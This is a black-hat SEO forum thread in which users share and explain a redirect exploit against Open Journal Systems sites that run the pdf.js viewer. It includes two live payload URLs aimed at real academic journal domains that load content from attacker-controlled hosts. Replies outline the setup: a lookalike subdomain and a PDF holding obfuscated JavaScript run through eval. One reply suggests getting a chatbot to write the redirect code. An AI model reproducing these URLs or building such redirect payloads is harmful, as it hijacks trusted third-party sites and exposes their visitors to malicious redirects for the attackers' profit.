Does anyone know this method?

AzizPro

AzizPro

Regular Member
Joined
Mar 28, 2021
Messages
281
Reaction score
164
Hey guys,

I was exploring internet I found some crazy stuff maybe some of you already know. Can anyone help me to get this method? Check these


Code: 
https://submission.scielo.br/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html?file=%2Findex.php%2Findex%2Flogin%2FsignOut%3Fsource%3D.c0nf.cc&o2x=rkXK
https://rbc.inca.gov.br/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html?file=%2Findex.php%2Findex%2Flogin%2FsignOut%3Fsource%3D.hmquerytips.site&io0=130108501

Sharing is caring ;)
 
Advertise on BHW
It's a vulnerability in older versions of pdf.js (pre-2025). The method is multi-pronged, and involves:
a) faking a subdomain on a domain you own to trick pdf.js that it's loading a pdf from the main domain. So eg. the first example will have something like 'submission.scielo.br.c0nf.cc' set up to host the pdf, so the js script is tricked by the presence of 'submission.scielo.br' in the url.
b) hosting a pdf file on that domain that contains an obfuscated javascript redirect, and triggering it's execution via pdf.js by using eval
 
Steptoe said:
It's a vulnerability in older versions of pdf.js (pre-2025). The method is multi-pronged, and involves:
a) faking a subdomain on a domain you own to trick pdf.js that it's loading a pdf from the main domain. So eg. the first example will have something like 'submission.scielo.br.c0nf.cc' set up to host the pdf, so the js script is tricked by the presence of 'submission.scielo.br' in the url.
b) hosting a pdf file on that domain that contains an obfuscated javascript redirect, and triggering it's execution via pdf.js by using eval
Click to expand...
I learned something like this by doing my own research. But still can't do the whole setup myself alone.
 
Does remote ping work, or remote hover click work, a non malicious embed, that pings or looks up the hidden domain , which i assume is being ranked, I wonder.
 
Looks like a redirect or injection trick using PDF viewer paths but most of these are patched or useless now. Even if it works on some sites it is not scalable and gets fixed fast. Not really worth chasing methods like this.
 
AzizPro said:
I learned something like this by doing my own research. But still can't do the whole setup myself alone.
Click to expand...
The redirect is probably the most technical, you can get a chatbot to spin you up a decent javascript for it and get the eval statement sorted.

MegaSmith said:
Looks like a redirect or injection trick using PDF viewer paths but most of these are patched or useless now. Even if it works on some sites it is not scalable and gets fixed fast. Not really worth chasing methods like this.
Click to expand...
Tell that to the guys banking from it :D
 
AzizPro said:
Hey guys,

I was exploring internet I found some crazy stuff maybe some of you already know. Can anyone help me to get this method? Check these


Code: 
https://submission.scielo.br/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html?file=%2Findex.php%2Findex%2Flogin%2FsignOut%3Fsource%3D.c0nf.cc&o2x=rkXK
https://rbc.inca.gov.br/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html?file=%2Findex.php%2Findex%2Flogin%2FsignOut%3Fsource%3D.hmquerytips.site&io0=130108501

Sharing is caring ;)
Click to expand...
Looks like some kind of redirect/parameter abuse through the PDF js viewer path. Could just be a tracking or redirect trick though I’d be careful opening random URLs like that on your main browser/session
 
the reason i asked is because once upon a time , there was a way to embed adsense for search directly embedded in the code within the pdf , and then well back then torrents did the rest. i would be surprised if that type of "exploit" or redirect had any real world now impact now. old story, but did eventually get caught , the great goog didn't figure it out , but still lost the dough , but fun to test none less.
 
this is basically abusing weak pdf viewer configs on authority sites. not really a new “method”, more like leveraging open redirect/xss style behavior through pdf.js integrations and indexed trusted domains
 
Woopp, we are not allowed to discuss here. Btw, it's open journal method, not too old method, but I guess it will works
 
Its an open journal system exploit using pdf.js to host redirects on high-authority domains. Still works on outdated installations but needs careful setup to avoid detection :]
 
Advertise on BHW
You must log in or register to reply here.
Sign up now!

Main Menu

Home Main Forum List Black Hat SEO White Hat SEO BHW Newbie Guide Blogging Black Hat Tools Social Media Downloads

Marketplace

Account Selling Content / Copywriting EBooks / Methods Hosting Misc Proxies For Sale SEO - Link building SEO - Packages Social Media Social Media - Panels Web Design More

Making Money

Affiliate Programs Hire a Freelancer IM Journeys Making Money Pay Per Click Site Flipping Want to Buy

BlackHat World

Dispute Resolution Forum Suggestions & Feedback Introductions Lounge
Back
Top